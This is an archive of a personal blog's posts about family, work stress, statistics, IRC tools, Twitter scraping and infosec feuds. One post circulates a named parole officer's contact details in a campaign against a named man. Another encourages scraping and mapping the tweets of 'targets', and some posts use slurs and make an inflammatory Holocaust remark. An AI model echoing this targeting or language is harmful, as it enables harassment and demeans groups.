What disturbs me is that I absolutely despise this process. I hate it, yet no matter where I go I won’t be able to avoid it. I need to get out of the department that has to deal with that garbage. I need to get ietnto engineering, production, some other department. It doesn’t matter. I can’t put in these hours. It’s too much. I have a family. I have a life outside of work. It’s effecting me in some rather deeply disturbing ways. I don’t sleep as much as I need to and every day feels like a hallucination.

Joseph A. Camp, #Hostage68

Wed, 14 May 2014 22:05:00 +0000

Jojo’s PO contact info via @5hm00p

Attention to everyone who was harassed or threatened by Joseph Camp:

I just got word that his sentencing is Tuesday, and he's going to he
served 5 months and when he's out he's free to do as he pleases. I
myself don't believe this is someone who belongs in a normal functioning
society, therefore a few of us have started a campaign to get him some
sort of supervision when he is released. How can you help?
Simple....write to:

US Parole Officer George Martin
100 State St.
Rochester, NY 14614

or

you can reach him by phone at (585) 666-5901


and tell him about your encounter with this maniac. The last thing we
want is him around again harassing people for Sue Basko (don't worry,
disbar comin) again and invading people's lives and their privacy. This
is your chance to put a completely horrible human being away and
hopefully make him learn his lesson.

New Shit

Sat, 10 May 2014 18:44:00 +0000

I’ve added a few new things to the blog. Nothing special. I’ve begun linking to blogs that link to me. I’ve also added a shortcut to howto/informational posts. I’m thinking this blog might start turning into an “Engineering”-heavy mess pretty soon. I’ve taken an introduction to GD&T recently. The spiral into Hell has whipped into a tailspin already.

Terrible

Fri, 09 May 2014 22:31:00 +0000

An Open Letter to Fabrizio Schiavi

Wed, 30 Apr 2014 16:50:00 +0000

Mr. Schiavi,

I’ve read your EULA for WOFF/EOT format fonts. Ridiculous. If this is a standard practice, it’s disgusting. This EULA glorifies prostitution. It makes mopping semen at an adult book store seem like a venerable career. I suppose you might’ve garnered that I’m anti-DMCA.

Dropping $26 on a font is borderline acceptable if you enjoy the font enough. To be honest with you, I’m considering dumping your font from my site out of principle. Paying per page-view for a font license is pretty unreasonable.

Putting It All Together

Tue, 29 Apr 2014 20:25:00 +0000

Grab the mention counter. Grab the tweet scraper. Point it at four or five “known” associated targets and grab 3k tweets at regular expected intervals. Better yet, use tweepy to regularly grab tweets as they’re sent. Amass a good amount. Once you’ve amassed a good amount of tweets, fire up the mention counter. Make your cutoff large. Make it count.

Fire up Gephi and open your CSV in it. It should automatically generate an interesting map. Use the heat map feature to get even more interesting results. Be amazed that you can OSINT. Most of all, have fun.

Ruby Twitter Mention Counter

Sun, 20 Apr 2014 21:46:00 +0000

Ruby is like the Visual Basic of the scripting world. You can do simple shit in ten lines of code or less. After experimentation, googling, and satisfaction of curiosity I’ve sated myself with a simple counterpart to my python tweet dumper.

Two arguments. Twitter screen name and cutoff for number of mentions. It’s useful to see your data in a new way. I’m going to take it further pretty soon, processing date information to squeeze every bit of usefulness out of it.

Tired

Mon, 14 Apr 2014 20:53:00 +0000

My personal life is calming down. I don’t like confrontation. I hate confrontation. I avoid it at all costs. Things are calm now. They’ve tapered off. I don’t want disagreements or drama or insanity touching my life. I get enough insanity at work. I’m all too heavily relied on by my employer, my family, my loves. They need me. No one needs me to feel bad. No one needs me to have regrets. No one needs me to be criticized for being myself. I need to live my life. I need to be there for my babies.

Passage

Sun, 13 Apr 2014 20:08:00 +0000

Time heals all wounds. This is a truth that will always be true. It’s not a simple truth. It has many facets. Something people seem to forget is that even if time has healed a wound, falling on the same knife still hurts and re-injures. Time doesn’t make you impervious to the injury healed. Injuries don’t always heal exactly as they once were.

I still don’t know where I stand in life. I suppose I’m expected to know or I will be in the near future, but right now all I know is the day to day struggle that I’ve managed since birth.

SMASH CAEK

Mon, 31 Mar 2014 22:35:00 +0000

Yesterday was the first birthday of my namesake. He’s getting so big, so quickly. I love my babies. It was a fun day even if he didn’t smash his face into his cake. I plan on uploading videos to youtube of him attempting unwrapping presents and eating cake.

Every week brings something new. He’s learning to walk, learning to talk, and getting the hang of everything. It’s still such a shock to me. The difference between having a son and a daughter is just so striking. My daughter becomes more emotionally dependent as she gets older. My son is very emotionally dependent now. He gives hugs and cuddles readily, whereas my daughter was very independent as a baby. He’ll become more independent and less emotionally attached as he gets older. I’m going to have to cherish this time. It’s going to be short lived.

Done

Mon, 31 Mar 2014 22:14:00 +0000

I’m just throwing out finality. I need closure. So, for closure, I’m going to write this.

I’m done. I don’t need people to judge me and the way I live. I don’t need criticism. I don’t need bullshit about what I do, say, or things I think or feel. If you have an opinion- great. Keep it to yourself. I’m not a hoarder. I don’t keep every opinion everyone has ever had of me. They’re about as useful as assholes. Everyone has one, I don’t need to see it.

Religion and Me

Fri, 14 Mar 2014 10:50:00 +0000

I have two problems. I have a religious person trying to tell me that I don’t live by a book I don’t care about. I have a non-religious person trying to criticize me for living by a book they don’t live by. I also have a serious anger problem that I likely learned from the non-religious person. Whenever I’m hurt by people I become completely unhinged. I’ve been like this as long as I can remember. I never get physical. I just say so many hurtful, regrettable things. I know my mother regrets things she says because I regret things I say. I’m always sorry for what I say. Always. I know my mother feels bad.

Bleh

Sun, 09 Mar 2014 11:12:55 +0000

Finally bought a Moleskine to continue recording thoughts and feelings in. Journaling is pretty important. Whether you’re known to be insane or are a stable human being, it’s important to record things. What we say for future generations to consume is both important and ephemeral. I believe we can impact decisions made tomorrow with what we feel today.

In any case, I’m going to take a more active role in vomiting profusely into the ether what I feel the ether is missing. I’m going to write more about things that happen in my daily life and about things in which I find a great deal of passion for.

Truth and Honesty

Sat, 08 Mar 2014 20:09:00 +0000

Five missed calls from my grandmother. Five. Someone must have died. No one ever has anything that urgent to call me about unless something at my employer broke and I need to drive in to fix it.

I return her call and I’m asked if I did my taxes yet. Of course. I’ve bought a good many things I’ve needed. It’s been a rough year. We’ve even spoiled ourselves for going without for so long. We have deserved it, having struggled through. Unlike my snake of an ex who has her rent paid in full with child support. I’ve had to put blood, sweat, and tears into everything I’ve earned. No free rides. I pay my dues, even if it’s just shoe money for a section 8 recipient.

Tweet Scraper in Python

Sat, 15 Feb 2014 00:00:00 +0000

Code first, talk later.

#!/usr/bin/env python
# encoding: utf-8
 
import tweepy #https://github.com/tweepy/tweepy
import unicodecsv
import sys
 
#Twitter API credentials
consumer_key = ""
consumer_secret = ""
access_key = ""
access_secret = ""
 
 
def get_all_tweets(screen_name):
	#Twitter only allows access to a users most recent 3240 tweets with this method
	
	#authorize twitter, initialize tweepy
	auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
	auth.set_access_token(access_key, access_secret)
	api = tweepy.API(auth)
	
	#initialize a list to hold all the tweepy Tweets
	alltweets = []	
	
	#make initial request for most recent tweets (200 is the maximum allowed count)
	new_tweets = api.user_timeline(screen_name = screen_name,count=200)
	
	#save most recent tweets
	alltweets.extend(new_tweets)
	
	#save the id of the oldest tweet less one
	oldest = alltweets[-1].id - 1
	
	#keep grabbing tweets until there are no tweets left to grab
	while len(new_tweets) > 0:
		print "getting tweets before %s" % (oldest)
		
		#all subsiquent requests use the max_id param to prevent duplicates
		new_tweets = api.user_timeline(screen_name = screen_name,count=200,max_id=oldest)
		
		#save most recent tweets
		alltweets.extend(new_tweets)
		
		#update the id of the oldest tweet less one
		oldest = alltweets[-1].id - 1
		
		print "...%s tweets downloaded so far" % (len(alltweets))
	
	#transform the tweepy tweets into a 2D array that will populate the csv	
	outtweets = [[tweet.id_str, tweet.created_at, tweet.text.encode('utf-8'), tweet.geo, tweet.source] for tweet in alltweets]
	
	#write the csv	
	with open('%s_tweets.csv' % screen_name, 'wb') as f:
		writer = unicodecsv.writer(f)
		writer.writerow(["id","created_at","text","geo","source"])
		writer.writerows(outtweets)
	
	pass
 
 
if __name__ == '__main__':
	#pass in the username of the account you want to download
	get_all_tweets(sys.argv[1])

The entirety of this script doesn’t belong to me at all. My only contribution is fixing utf-8 issues. Requires tweepy and unicodecsv. Outputs tweets in a comma-delimited text file.

Data Collection: SeriousMode

Mon, 10 Feb 2014 12:07:04 +0000

I’ve spent a long time trying to get together a twitter scraper. I haven’t had more than twenty minutes a day, at most, free time to spend doing it. I finally spent some time ripping apart a quick script written in python by someone else, using tweepy. It’s really damned handy. I’ve set it to grab the max allowable tweets from any given user and take data I find important, then format it for storage in a comma-separated value flat file. I spent maybe four hours dicking around with the thing to get it working as seamlessly as possible. Once the “eureka” moment hit, I only spent about twenty minutes to turn data collection on an irritating, but practical, exercise in identity concealment.

Blueberries and Phil Shaltz

Sun, 24 Nov 2013 16:34:24 +0000

Twitter harbors some interesting people. Far more interesting people than most social networks such as Myspace and Facebook, perhaps in part because it’s not as popular as the aforementioned social networks. Individuals such as C1TYofFL1NT and TheLastBand1t are quite attentive to some fascinating goings-on in Flint. They’re more attentive to local politics than any other folks I’ve met.

Specifically, these two gentlemen are keen on blueberries. What does anything important have to do with blueberries? The answer probably won’t surprise you, because your gut instinct is quite correct when you assume nothing at all. That’s right, Phil Shaltz bought a billboard and had it say “I’m concerned about the blueberries.”

Hacks by Hammond

Tue, 19 Nov 2013 17:32:00 +0000

I figured I’d mirror this, just in case. It’s already out there, so the powers that be can’t expect to be able to suppress it.

Sabu also supplied lists of targets that were vulnerable to "zero day
exploits" used to break into systems, including a powerful remote root
vulnerability effecting the popular Plesk software. At his request,
these websites were broken into, their emails and databases were
uploaded to Sabu's FBI server, and the password information and the
location of root backdoors were supplied. These intrusions took place
in January/February of 2012 and affected over 2000 domains, including
numerous foreign government websites in Brazil, Turkey, Syria, Puerto
Rico, Colombia, Nigeria, Iran, Slovenia, Greece, Pakistan, and others.
A few of the compromised websites that I recollect include the
official website of the Governor of Puerto Rico, the Internal Affairs
Division of the Military Police of Brazil, the Official Website of the
Crown Prince of Kuwait, the Tax Department of Turkey, the Iranian
Academic Center for Education and Cultural Research, the Polish
Embassy in the UK, and the Ministry of Electricity of Iraq.

Sabu also infiltrated a group of hackers that had access to hundreds
of Syrian systems including government institutions, banks, and ISPs.
He logged several relevant IRC channels persistently asking for live
access to mail systems and bank transfer details. The FBI took
advantage of hackers who wanted to help support the Syrian people
against the Assad regime, who instead unwittingly provided the U.S.
government access to Syrian systems, undoubtedly supplying useful
intelligence to the military and their buildup for war.

All of this happened under the control and supervision of the FBI and
can be easily confirmed by chat logs the government provided to us
pursuant to the government's discovery obligations in the case against
me. However, the full extent of the FBI's abuses remains hidden.
Because I pled guilty, I do not have access to many documents that
might have been provided to me in advance of trial, such as Sabu's
communications with the FBI. In addition, the majority of the
documents provided to me are under a "protective order" which
insulates this material from public scrutiny. As government
transparency is an issue at the heart of my case, I ask that this
evidence be made public. I believe the documents will show that the
government's actions go way beyond catching hackers and stopping
computer crimes.

Jeremy Hammond

Best of #AskJPM

Fri, 15 Nov 2013 20:21:00 +0000

Updates

Sun, 27 Oct 2013 14:55:00 +0000

Added / Updated general site links

Reverted back to using rsync because I’m lazy
Changed VPS providers because broke / lazy
Merged all services to single VPS because broke
Still no dedicated network access, working on it though
Will be returning to intarbutts shortly to harangue the masses
Going to return to blogging about whatever the fuck I want

I think that about covers it. Not changing the style or mechanism of this blog, though. The architecture works in case I want to be really mean and piss off script kids, they’ll have no recourse but to baww.

Step by step GR&R with Minitab

Sun, 27 Oct 2013 13:07:22 +0000

I’m going to go through an incredibly quick rundown of how to conduct your own Gage Repeatability and Reproducibility study using Minitab. The first thing you should keep in mind is that there are ways you “should” conduct a GR&R and there are ways you “shouldn’t”. You “should” be doing a blind, randomized study that doesn’t allow the “operator” to influence the study with what he expects. This isn’t always the easiest way to begin your first study or introduce yourself to these types of studies. For your first study, just do your trials in order.

Statistics

Sun, 27 Oct 2013 11:38:55 +0000

Statistical Analysis of Variance. Using standard deviations six times higher and six times lower than your target, determine whether your process is “in control” or “out of control”. Good stuff.

It’s also part of the framework for determining the reproducibility and repeatability of gaging. I’ve discovered that Minitab is one of the best software suites for achieving what you need in calculating ANOVA for your GR&R. It’s a great deal faster than laying out your own Excel spreadsheet, and it allows you to completely automate the process. Doing capability studies, GR&R’s, and X̅&R charts becomes a task that requires seconds, rather than having to deal with irritating Excel spreadsheets or plotting by hand. I’ve learned a ton about statistical process control. I’ve also learned a ton about what works, and what doesn’t.

Obama

Wed, 23 Oct 2013 19:56:00 +0000

It still amazes me these days that there are some out there who are vehement proponents of Barack Obama. I can only attribute to these people that denial is the strongest emotion they’re capable of mustering. Denial is the only thing a person can hold on to when faced with the harsh reality that he’s a wolf in sheep’s clothing. I’m going to gather a few points that blast solid democrats out of the water.

The Long Road Home

Wed, 23 Oct 2013 10:34:19 +0000

I’m running everything I have from a really shitty VPS service right now. It’s actually fairly hilarious how pathetic this service is, but it’s free, so I can’t bitch that much. You always get what you pay for. Always.

If you haven’t noticed, I haven’t had any real network connectivity in what feels like many eternities. I’m still at work too much. I still have a ton of things going on outside of work. I haven’t even called an ISP to find out how much it would cost to begin setup for an account. I’m still with my beautiful sexy pants. I hope that never changes. Our son is huge. He’s only six months old, but the only thing he’s currently wearing that doesn’t squish him is 18 month clothes. He’s huge. He’s a beastly little boy. It’s not even solely the fact that he has filled out, but he’s tall as well. His feet stick a good amount out of his car seat. He’s enormous. He’ll surpass his sister in height before she’s a grown adult, and it’s ridiculous because he’s trailing her seven years in age. I love my midget and my giant. I love my family.

He Hath Arrived

Thu, 18 Apr 2013 17:00:00 +0000

On March 28th my little man decided “enough is enough”, and broke his mom’s water. He kicked the plug from the drain and started the wondrous process of “labor”.

Holy crap.

If he ever gives his mom crap about “I don’t want to” or “I don’t feel like it”, I’ll be the first to stick up for her and say “You know, son, she went through a lot of crap just to bring you into the world. The least you can do is appease your mother. You owe her more than you will ever imagine.”

Back For the Moment

Wed, 27 Mar 2013 20:21:49 +0000

I’ve been away for a while, it seems. A long while. A few things have changed, but most haven’t. Idiots will be idiots. People who feed off of idiots will always take great amounts of pleasure from feeding off their weaker prey. This is likely how things will be until the day we die.

Here’s a look back at a few things that have happened.

Aaron Swartz took his own life after being handed a ridiculous judgement. No lawyer in the world can protect you when you’re coming up against serious money. He never actually committed any crimes, he only did extraordinary things. The extraordinary things he did earned him a place in the crosshairs of rather rich individuals.

Happy Holidays!

Tue, 25 Dec 2012 13:05:00 +0000

New Everything

Tue, 25 Dec 2012 11:18:00 +0000

I’m being worked like a dog. Things are getting so rough at work that I had to sleep 18 hours to catch up. I feel better now than I have in a very long time.

That said, I’ve also taken some important steps in my life to make me feel empowered. I’ve cut bad rubbish out. I’ve needed to remove negative influences from my life so that I might start in a positive direction with my new life, doing what I need to do to ensure the success of myself and my own.

Anger

Tue, 04 Dec 2012 14:42:27 +0000

I do think anger is a good thing to rid yourself of. It’s not worth carrying around. It drags you down. It weighs on your ability to see that which is truly important. I let it run it’s course, vile and pure as it is, then I drop it as quickly as it comes. I leave it alone, because those who wish to cause me to be angry really aren’t worth being angry with. I can overcome any obstacle thrown in my way. Creating obstacles for others is far more time consuming than overcoming them. For that reason I don’t concern myself with such petty people and their petty games. I actually have a life to live. I have a family. I have people who love me. I have a wonderful baby boy on the way. My life isn’t callous and hollow, my life has meaning.

Crap VPS

Sat, 24 Nov 2012 17:08:00 +0000

I’d like to take a quick minute to apologize for the crap VPS I’m hosting this blog off of. Apparently, nginx is too much for it to handle. Once I’m better established, I’ll seek new alternatives to this garbage. Until then, just bear with me.

Walmart: Modern Indentured Service

Sat, 24 Nov 2012 16:08:00 +0000

Surprisingly, I’ve had people defend Walmart’s business ethics and tactics in regular conversation before. I’ve heard people brush off egregious wrongs against society as being “the norm” or “acceptable, or even necessary business practice”. I’m here to tell you; those people are assholes.

Walmart destroys the working class. This is undeniable. Those who are forced into an employer/employee relationship with Walmart (usually due to a serious lack of options, as Walmart destroys small businesses), are always on the suffering end. Walmart profits greatly from employing people they have no intention of giving raises, insurance, or potential for advancement. What is also interesting, but not surprising, is that many female Walmart employees are beginning to discover that their male counterparts are making more money doing the same jobs that they are.

Spree

Sun, 18 Nov 2012 16:55:52 +0000

In case you haven’t noticed, I’ve been on a blogging spree since reviving this dead space. I fully intend to continue my spree so long as I’m able, even though it won’t be as easy as it has in the past. Right now I require physical access to my desktop machine in order to update, whereas previously I could update from my desktop, phone, or any other machine I deemed fit to remotely access my favorite machine.

Egypt Rockets Israel over Gaza

Sat, 17 Nov 2012 15:08:00 +0000

Egypt Urges Push for Gaza Peace as Rockets Hit Israel via Businessweek

This is something I’ve felt strongly about for some time. I’ve been irritated that people seem to believe zionism is some God-given right to the jewish people. Bullshit. They have no more right to that land than early American settlers had to the plots they “purchased” from Native Americans for handfulls of beads.

Get over yourselves, you zionism peddling fascists. If anything, the holocaust was only brought about because fascists know their own. I realize how brutal of an assertion that is, but I stand by what I say.

Updates as They Come

Sat, 17 Nov 2012 13:55:00 +0000

Alright, I might’ve worked the kinks out of this new setup. Using “Unison”, syncing between my Debian VPS and home Win7 main station.

Keep your eyes peeled.

Signal Interrupted

Sat, 17 Nov 2012 12:32:00 +0000

It would seem that the old blog has suffered a minor setback. A few, I suppose. One, I’m not exactly in a permanent residence at the moment, so I don’t have all my hardware at my disposal. Two, my VPS provider took a shit on my slice and lost all my data (thanks, gais). Three, the most recent backup I have to work with isn’t all that recent.

In any case, let me know if you have any difficulty with this freaking blog. I haven’t run jekyll on Windows before. This is my first go. It’s a pain to update without rsync. Makes me want to kick puppies.

Bean Heart

Sun, 02 Sep 2012 15:15:00 +0000

We’ve taken the liberty of recording a tiny “thump thump” and are more than happy to share it with the world.

I’ll keep it short. Small post, lots of love.

Presenting… Bean and his or her heartbeat.

Big Announcement Soon

Tue, 24 Jul 2012 08:26:00 +0000

I’ve been working seven days a week. On top of that, two computers do very well to reverse the cooling effect offered by air conditioners, so I’ve had both systems turned off nearly every day since my last update.

They’re going to be left on, however, for the next fews days. I have a big announcement to make, and I’m going to put pieces of the blog post together (ie. pictures and the like) so that I can fully and formerly release this big news that some of the readership here may already know.

Trollercaust: Save the Celebrations

Wed, 18 Jul 2012 10:23:00 +0000

Sleepless, tired, sleepless, tired. I think I’ve managed to smash those words together rather well with my currently screwed up schedule. Alternating between the two is making me rather… Irritable. I’m unable to make good use of the time I’m capable of finding, mostly because I’m too exhausted just as soon as it floats my way.

Blogging aids and abets what little sanity that’s able to manage the minefield that is my brain. Cognition beyond the simplest thoughts- No, rarely may I ascend beyond my own plane. Instead, I’m forced to watch all manner of pig smash words together in faux-English and pretend he’s a higher order animal. Twitter is the favorite, these days, of such swine. Trolls, they like to call themselves. They pretend they know things about social engineering. Condemning works does not equate to engineering. Engineering requires thought, requires building things. Not burning bridges. Yet these condescending assholes burn bridges, taunt, provoke, and when all else fails they flail their arms and scream loudly, “Victim! I’m being victimized! People are harassing me and my children!” No.

lolwut

Mon, 16 Jul 2012 06:35:00 +0000

Not sure what this is. @cloudflaresys tweeted about a “small attack” about the same time this information was logged. Not sure if it was explicitly directed at me or what. Still funny, though. Would be interesting to see if they’re able to dump raw logs.

In any case, thought it was a humorous anecdote.

The only IM client you'll ever need: Minbif

Fri, 13 Jul 2012 18:31:00 +0000

Minbif is minimal, flexible, easy to use, and best of all- IRC related. It’s really no more than an IRC interface to libpurple. The biggest difference between Bitlbee and minbif is that minbif uses a control scheme very similar to most popular IRCd’s. Bitlbee goes for a “connect via IRC and control with oddball channel commands” approach. I like minbif’s style a great deal more than bitlbee’s.

Here goes.

To compile/install minbif just do the usual:

Big Plans, So Little Time

Fri, 13 Jul 2012 08:18:00 +0000

I’m full of piss and vinegar today. I’m ready to bust some heads and kick some ass. The summer of truly living life has finally gone full swing. My employer needs to back the hell off of me a bit, but other than that I won’t complain too much. I won’t jinx myself to say that things are going “well”, but they certainly aren’t as dismal as they’ve appeared to be in the past.

Spotify and VPN

Sun, 17 Jun 2012 04:44:23 +0000

When I attempt to connect to my Spotify account after establishing a VPN connection, it complains that my IP address doesn’t match my country of origin listed on my Spotify account. This is incredibly irritating. I shouldn’t have to choose between covering my ass and listening to music. The solution is easy, though. Still slightly irritating, but completely functional.

Ensure VPN is off and you’re connecting from your home IP.
Sign in to Spotify.
Establish your VPN connection.
????
PROFIT.

Pretty simple. When I took those steps it didn’t even interrupt playback, but I started getting Swedish advertisements. Handy trick. As far as I can tell, the established connection retains all original functionality.

Back Burner

Sat, 16 Jun 2012 10:09:12 +0000

I’ve watched “#prosec” and “Anonymous”, and all the douchebags in between, from a distance. It’s hilarious. Having formerly kept up to date with these people, I can tell you that it’s entirely similar watching from afar as it is being involved with communication. It’s all drama. Relentless, redundant, retarded drama. “OMG YOU PICKED A FIGHT WITH SOMEONE I LIKE SO I’M GONNA HACK EVERY MACHINE YOU HAVE BECAUSE I DONT LIEK U”. It’s kindergarten, sans kindergarten teacher. The breakdown is just as hilarious.

Intermission

Sat, 09 Jun 2012 08:00:02 +0000

We take time out of our regularly scheduled programming to denounce and detract from all the bloggers out there who are using Wordpress. Get a real CMS. It’s not that hard, kids. If you have anything worth saying, you might as well deliver your message properly, you lazy pieces of shit. No one cares much about what you have to say when you’re using the livejournal of the blogging world.

Good job, kids. You’ve negated your message entirely via it’s very own delivery method.

Hiatus

Sun, 27 May 2012 23:53:52 +0000

I have business to tend to. Things are coming at me rapidly, and I’m already overburdened with tasks and no time in which to deal with them. Ditching this blog, facebook, and the internet on the whole, is pretty much all I can do to squeeze the little time I have and make it work for me. So that’s what I’ll be doing. Can’t keep it up forever, sometimes life just gets in the way of hobbies. It happens.

Get a Life

Sat, 26 May 2012 21:26:48 +0000

Hey losers, you going? Have you even been to any sort of concert or festival? No, the local Renaissance Festival doesn’t count, you faggot.

Man, people accuse me of not having a life, and yet the only breaks they get from IRC or twitter are 12 hour windows they fill with sleep. Infosec seems filled to the brim with losers who bitch, gripe, “troll”, and basically use the infosec community as a vent to relieve the pressure of having no real life to tend to. Congratulations, you have an e-girlfriend. Or some nasty bitch you used to work with at 7-11. Or some husband who has no idea what you actually do online (which really doesn’t constitute much). I have a life outside the internet, something you retards ought to “research” more.

th3j35t3r: Was it really that tough to figure out?

Tue, 15 May 2012 10:54:43 +0000

I’ve been watching the tweets of @cubespherical with a sense of irony in the back of my mind. The story is so far fetched, the monetary goal beyond ridiculous. I won’t present a whole lot of reference material in this post, it’s merely an insomniac’s rant. However, read through and you just might agree with a few of my points.

First and foremost, if you’ve kept up with @th3j35t3r’s (now defunct) twitter account, you’ve seen “a certain writing style”. What’s more, if you’ve used IRC at all in places he has been known to lurk, you’ve seen a few writing styles. I’ve seen jester’s writing style jump from proper capitalization to apropos internet junkie shorthand. Either this guy has MPD, or he’s a fucking SE master. Then again, there is a more likely explanation, one that’s been put forth on the internet but actually disregarded. It’s quite likely jester does have MPD, in that the identity is/was comprised of several individuals. The identity amounted to no more than a puppet of several people with a common goal.

Disconnect From P2P if VPN Drops

Sat, 12 May 2012 11:35:10 +0000

If you’re using Windows 7 as a host OS, there’s a chance you may need to occasionally use VPN to cover your ass. VPN services are excellent, but it’s an open-ended technology with a wide variety of possibilities. One of those unfortunate possibilities is that internet transfers can be resumed if your VPN connection is dropped for whatever reason. Well, kids, I’ve got a solution for you- a Windows 7 native solution at that. I’ll use uTorrent as my example.

4chan Grabber

Fri, 11 May 2012 12:58:50 +0000

It’s that time again. Time for me to try to sleep and fail miserably. But this time I only have a three hour window in which to make the attempt, so I’m considering giving up on the effort entirely. Instead, I’ll just post a bash script that downloads 4chan thread content effortlessly. It’s pretty damn handy, if you think about it. Just execute as such: 4chan <url>. It was based on this script and modified to use xargs and concurrent downloads. Without further ado, a quick hack of a quick hack.

Four Months From Today

Thu, 10 May 2012 12:28:10 +0000

I think in four months I’m going to have to plan something big…

#thatisall

Scarcity

Wed, 09 May 2012 12:06:23 +0000

For the next five days, I’m going to be quite scarce. Even moreso than is typical of me. I’m writing this as a stub. A placeholder to keep this rotten corner of the Inter-ass warm whilst I’m away. I’ve been busy as hell. Real life™ has kept me busier than most. Auto repairs, financial affairs, rather typical and mundane things that a lot of slackers won’t have to worry about.

Wait for it...

Tue, 08 May 2012 11:20:37 +0000

Just saw a hilarious comment awaiting approval. This is pretty much the only response that comment deserves, and it can just go ahead and languish. I’m not affiliated with anyone, no groups or persons. Point in fact, I’m avoiding the drama whores as if they carried Bubonic Plague.

Enjoy your derision and ridicule, it’s all that I (and most of society) are willing to offer.

I’m completely out of “the scene”, as it were. No IRC presence, dumped everything except this domain. So, sit back and enjoy this critique of your efforts on the whole. I’m done, now go away.

Piracetam > Day 5

Tue, 08 May 2012 08:02:57 +0000

I believe I’m on day five of Piracetam. So far, so good. It does seem to be boosting things for me, but I might have to bump up my choline. I’m starting to get headaches once in a while that appear related. Granted, they’re very benign, not lasting more than a few minutes at a time. I’ve had a horrible history with headaches. I’ve been put on some serious chemicals solely because I’ve had headaches that lasted several days at a time. Chemicals that can cause complete anesthesia of the extremeties (which really fucking sucks, I might add).

Post Frequency

Sun, 06 May 2012 08:11:00 +0000

Well, kids, it looks like it’s time for a short hiatus. I can’t really keep up the post frequency of “every day” or even “every other day”. It’s going to wind up being once a week at most, if even that. Things are getting too busy. I’m caring less about shitting into the ether. Lots of reasons add up to one good one- This blog is pretty pointless. Not to say it ever had a point to begin with, but at least I wrote what I felt and it felt good to write. Now it mostly boils down to a few douchebags “e-stalking” me and people casually clicking “x” after parsing a few titles. I’ll be honest, it’s really not terribly impressive. I don’t write insane or fascinating viewpoints on current events or share crazy new angles on programming or technology. At best I’ve shat some opinions out there, same as everyone else, and pointed out one or two things I’ve found interesting. Doesn’t really justify the time or energy I’ve put into this thing on the whole.

100 Windows in irssi

Thu, 03 May 2012 15:11:00 +0000

Life in a terminal can be hard. There are times when a GUI really is useful. “My kingdom for an Alt+Tab!” IRC can be one of those things. The best coping mechanism I’ve found is to google the hell out of any given problem I have until it’s thoroughly solved. Example: Managing a ton of windows in IRC- specifically irssi. There are terminal clients that do this right off the bat, but irssi is old and trusted. Without further ado, “100 Windows in irssi”, blatantly ripped off from this guy.

Better Living Through Chemistry: Piracetam

Wed, 02 May 2012 08:34:00 +0000

Piracetam is a “memory enhancing”¹ chemical in the “racetam” family of chemicals. It’s used widely by those willing to try new things in order to get an “edge” in the nootropic family of chemicals. It was first manufactured thirty years ago, and to date is one of the oldest known nootropics.

You can currently experience some of the effect of Piracetam by drinking Neuro Fuel, an energy drink sold in the United States. The interesting bit about the Neuro Fuel website is that they cite the gains of taking Piracetam on the web page itself. Of course, the description they give is slightly inaccurate, when compared to the medical journals I’ve browsed on the topic. Still, it’s nice to know they’re not shoving a totally unresearched chemical down your throat, unbeknownst to you.

Fsck This, I'm Going to Sleep

Tue, 01 May 2012 09:34:00 +0000

Blog Stats

Tue, 01 May 2012 08:52:00 +0000

Post	Lines	Words	Characters
2012-02-02-Rebirth	13	67	431
2012-02-12-Complicated-complications	22	179	1019
2012-02-14-Blogging-Simplified	35	279	1794
2012-02-14-Economic-Musings	41	286	1845
2012-02-14-Frantic	14	77	465
2012-02-14-Jekyll	17	123	714
2012-02-14-Unemployment-Rates-by-State	68	316	2282
2012-02-15-Manic-Scramble	24	197	1154
2012-02-16-Manycam-Prank	25	148	967
2012-02-17-Anomolous	47	402	2396
2012-02-17-Learning-Awk	40	252	1670
2012-02-17-Nail-Gun	13	33	331
2012-02-17-Shithead	15	34	348
2012-02-17-The-Future	25	223	1354
2012-02-17-The-Search-Continues	25	155	1092
2012-02-18-Blogging-all-damn-day	39	302	1938
2012-02-18-Facebook-parenting-for-the-troubled-teen	17	64	514
2012-02-18-Public-Apology-to-Barrett-Brown	46	426	2562
2012-02-19-Additions-Tweaks-Changes	19	155	931
2012-02-19-As-love-should-be	29	225	1460
2012-02-19-Chillaxed	34	257	1594
2012-02-20-Exhaustion	17	125	743
2012-02-21-Deadlines	37	357	2136
2012-02-21-Delirium	58	541	3277
2012-02-22-FreeBSD-9.0	23	164	979
2012-02-24-Announcements	43	371	2257
2012-02-26-And-so-it-begins	45	380	2403
2012-02-28-Countdown-to-disaster	35	318	1855
2012-02-29-Worn-down-already	34	332	1821
2012-03-01-JiZZy-Pakistan	57	445	2698
2012-03-01-Leap-year	27	229	1288
2012-03-02-redlegions-tips-for-working-midnights	60	557	3110
2012-03-03-Cybersecurity-rant	55	532	3183
2012-03-05-Busy-busy-busy	32	339	1838
2012-03-06-Sabu-hardcore-fbi-informant	55	404	2988
2012-03-06-ZOMG	25	241	1375
2012-03-09-Food-for-thought-kony2012	22	123	1026
2012-03-10-Life-isnt-passing-me-by	25	186	1051
2012-03-12-Grind	25	180	1236
2012-03-15-At-the-drive-in	27	200	1277
2012-03-15-Work-again-finally	33	289	1765
2012-03-16-Made-me-think-of-my-friends	9	20	185
2012-03-16-The-case-against-Israel	58	433	2997
2012-03-16-Tweaks	30	211	1250
2012-03-16-What-ive-been-doing	42	395	2357
2012-03-19-More-on-my-new-occupation	25	160	943
2012-03-21-Things-moving-along	22	151	941
2012-03-22-Me-at-the-controls	9	21	185
2012-03-22-New-jekyll-setup	38	241	1654
2012-03-22-Rollout-complete	32	201	1175
2012-03-23-Kinks-worked-out	25	214	1225
2012-03-23-Love-chicago	11	27	250
2012-03-23-The-hunger-games	16	74	446
2012-03-26-BacktraceSec-Dissolved	45	292	1986
2012-03-26-Oh-the-hubris	20	87	752
2012-03-27-Jennifer-emick-ddos-for-fbi	39	339	1978
2012-03-28-Trayvon-martin-911-calls	96	397	4325
2012-03-30-The-devils-infosec-dictionary	67	305	2219
2012-03-30-Work-work-work	25	184	1153
2012-03-31-Jekyll-and-youtube-embedding	34	199	1532
2012-03-31-Jekyll-bootstrap-is-for-everyone	17	109	847
2012-04-02-Insomnia-redux-vim-startup	45	164	1215
2012-04-03-Getting-font-face-to-work-on-all-browsers	24	111	804
2012-04-03-Pragmatapro-font	22	149	918
2012-04-03-What-they-say-what-they-mean	33	291	1957
2012-04-05-FuckFBIFriday	35	189	1455
2012-04-05-I-hate-you-all	11	37	354
2012-04-06-Quick-and-dirty-mass-highlight-for-irssi	32	106	884
2012-04-07-Irc-is-a-bad-place	20	91	582
